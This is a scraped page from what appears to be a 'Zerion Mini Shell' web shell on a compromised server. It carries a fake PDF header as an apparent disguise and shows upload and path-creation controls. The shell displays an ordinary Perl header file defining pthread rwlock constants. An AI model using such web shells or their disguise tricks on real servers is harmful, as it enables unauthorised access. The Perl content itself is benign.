%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/x86_64-linux-gnu/perl/5.38.2/bits/
Upload File :
Create Path :
Current File : //lib/x86_64-linux-gnu/perl/5.38.2/bits/struct_rwlock.ph

require '_h2ph_pre.ph';

no warnings qw(redefine misc);

unless(defined(&_RWLOCK_INTERNAL_H)) {
    eval 'sub _RWLOCK_INTERNAL_H () {1;}' unless defined(&_RWLOCK_INTERNAL_H);
    if(defined(&__x86_64__)) {
	if(defined(&__ILP32__)) {
	    eval 'sub __PTHREAD_RWLOCK_ELISION_EXTRA () {0, { 0, 0, 0};}' unless defined(&__PTHREAD_RWLOCK_ELISION_EXTRA);
	} else {
	    eval 'sub __PTHREAD_RWLOCK_ELISION_EXTRA () {0, { 0, 0, 0, 0, 0, 0, 0};}' unless defined(&__PTHREAD_RWLOCK_ELISION_EXTRA);
	}
    } else {
    }
    if(defined(&__x86_64__)) {
	eval 'sub __PTHREAD_RWLOCK_INITIALIZER {
	    my($__flags) = @_;
    	    eval q(0, 0, 0, 0, 0, 0, 0, 0,  &__PTHREAD_RWLOCK_ELISION_EXTRA, 0, $__flags);
	}' unless defined(&__PTHREAD_RWLOCK_INITIALIZER);
    } else {
	eval 'sub __PTHREAD_RWLOCK_INITIALIZER {
	    my($__flags) = @_;
    	    eval q(0, 0, 0, 0, 0, 0, $__flags, 0, 0, 0, 0);
	}' unless defined(&__PTHREAD_RWLOCK_INITIALIZER);
    }
}
1;

Zerion Mini Shell 1.0